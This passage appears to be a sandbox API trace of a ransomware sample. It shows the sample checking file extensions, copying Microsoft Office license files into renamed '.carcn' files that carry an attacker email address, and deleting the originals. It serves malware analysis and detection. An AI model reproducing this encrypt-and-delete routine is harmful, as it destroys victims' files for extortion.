(lpString1=".bz2", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString=".7z") returned 3 [0286.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.306] lstrlenW (lpString=".dbf") returned 4 [0286.306] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.306] lstrlenW (lpString=".1cd") returned 4 [0286.307] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0286.307] lstrlenW (lpString=".jpg") returned 4 [0286.307] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.308] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19962) returned 1 [0286.308] CloseHandle (hObject=0x370) returned 1 [0286.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0286.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0286.309] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.309] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.310] GetLastError () returned 0x0 [0286.310] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0286.746] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0286.747] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.748] WriteFile (in: hFile=0x560, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11c, lpOverlapped=0x0) returned 1 [0286.748] SetEndOfFile (hFile=0x560) returned 1 [0286.748] CloseHandle (hObject=0x560) returned 1 [0286.748] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.748] SetEndOfFile (hFile=0x370) returned 1 [0286.752] CloseHandle (hObject=0x370) returned 1 [0286.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0286.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.872] lstrlenW (lpString=".doc") returned 4 [0286.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.872] lstrlenW (lpString=".docx") returned 5 [0286.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.872] lstrlenW (lpString=".pdf") returned 4 [0286.872] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.872] lstrlenW (lpString=".xls") returned 4 [0286.872] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.872] lstrlenW (lpString=".xlsx") returned 5 [0286.872] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.872] lstrlenW (lpString=".ppt") returned 4 [0286.872] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.872] lstrlenW (lpString=".zip") returned 4 [0286.872] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.873] lstrlenW (lpString=".rar") returned 4 [0286.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.873] lstrlenW (lpString=".bz2") returned 4 [0286.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.873] lstrlenW (lpString=".7z") returned 3 [0286.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.873] lstrlenW (lpString=".dbf") returned 4 [0286.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.873] lstrlenW (lpString=".1cd") returned 4 [0286.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0286.873] lstrlenW (lpString=".jpg") returned 4 [0286.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.874] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19966) returned 1 [0286.874] CloseHandle (hObject=0x530) returned 1 [0286.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0286.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.875] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.875] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.876] GetLastError () returned 0x0 [0286.876] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0286.885] WriteFile (in: hFile=0x564, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0286.886] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.886] WriteFile (in: hFile=0x564, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.887] SetEndOfFile (hFile=0x564) returned 1 [0286.887] CloseHandle (hObject=0x564) returned 1 [0286.887] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.887] SetEndOfFile (hFile=0x530) returned 1 [0286.891] CloseHandle (hObject=0x530) returned 1 [0286.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0286.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.892] lstrlenW (lpString=".doc") returned 4 [0286.892] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".docx") returned 5 [0286.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.893] lstrlenW (lpString=".pdf") returned 4 [0286.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".xls") returned 4 [0286.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".xlsx") returned 5 [0286.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.893] lstrlenW (lpString=".ppt") returned 4 [0286.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.893] lstrlenW (lpString=".zip") returned 4 [0286.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".rar") returned 4 [0286.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".bz2") returned 4 [0286.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString=".7z") returned 3 [0286.893] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.893] lstrlenW (lpString=".dbf") returned 4 [0286.893] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.893] lstrlenW (lpString=".1cd") returned 4 [0286.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0286.894] lstrlenW (lpString=".jpg") returned 4 [0286.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.895] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10667) returned 1 [0286.895] CloseHandle (hObject=0x530) returned 1 [0286.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0286.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.896] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.896] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.897] GetLastError () returned 0x0 [0286.898] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0286.903] WriteFile (in: hFile=0x564, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0286.905] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.905] WriteFile (in: hFile=0x564, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0286.905] SetEndOfFile (hFile=0x564) returned 1 [0286.905] CloseHandle (hObject=0x564) returned 1 [0286.905] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.905] SetEndOfFile (hFile=0x530) returned 1 [0286.908] CloseHandle (hObject=0x530) returned 1 [0286.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.080] lstrlenW (lpString=".doc") returned 4 [0287.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.080] lstrlenW (lpString=".docx") returned 5 [0287.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.080] lstrlenW (lpString=".pdf") returned 4 [0287.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.080] lstrlenW (lpString=".xls") returned 4 [0287.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString=".xlsx") returned 5 [0287.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.081] lstrlenW (lpString=".ppt") returned 4 [0287.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.081] lstrlenW (lpString=".zip") returned 4 [0287.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString=".rar") returned 4 [0287.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString=".bz2") returned 4 [0287.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString=".7z") returned 3 [0287.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.081] lstrlenW (lpString=".dbf") returned 4 [0287.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.081] lstrlenW (lpString=".1cd") returned 4 [0287.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0287.081] lstrlenW (lpString=".jpg") returned 4 [0287.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.189] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22092) returned 1 [0287.189] CloseHandle (hObject=0x548) returned 1 [0287.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0287.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.190] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.190] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.197] GetLastError () returned 0x0 [0287.197] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x564c, lpOverlapped=0x0) returned 1 [0287.200] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5650, lpOverlapped=0x0) returned 1 [0287.201] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.201] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0287.201] SetEndOfFile (hFile=0x530) returned 1 [0287.202] CloseHandle (hObject=0x530) returned 1 [0287.202] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.202] SetEndOfFile (hFile=0x548) returned 1 [0287.206] CloseHandle (hObject=0x548) returned 1 [0287.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0287.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.208] lstrlenW (lpString=".doc") returned 4 [0287.208] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.208] lstrlenW (lpString=".docx") returned 5 [0287.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.208] lstrlenW (lpString=".pdf") returned 4 [0287.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.208] lstrlenW (lpString=".xls") returned 4 [0287.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.208] lstrlenW (lpString=".xlsx") returned 5 [0287.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.209] lstrlenW (lpString=".ppt") returned 4 [0287.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.209] lstrlenW (lpString=".zip") returned 4 [0287.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString=".rar") returned 4 [0287.209] lstrcmpiW 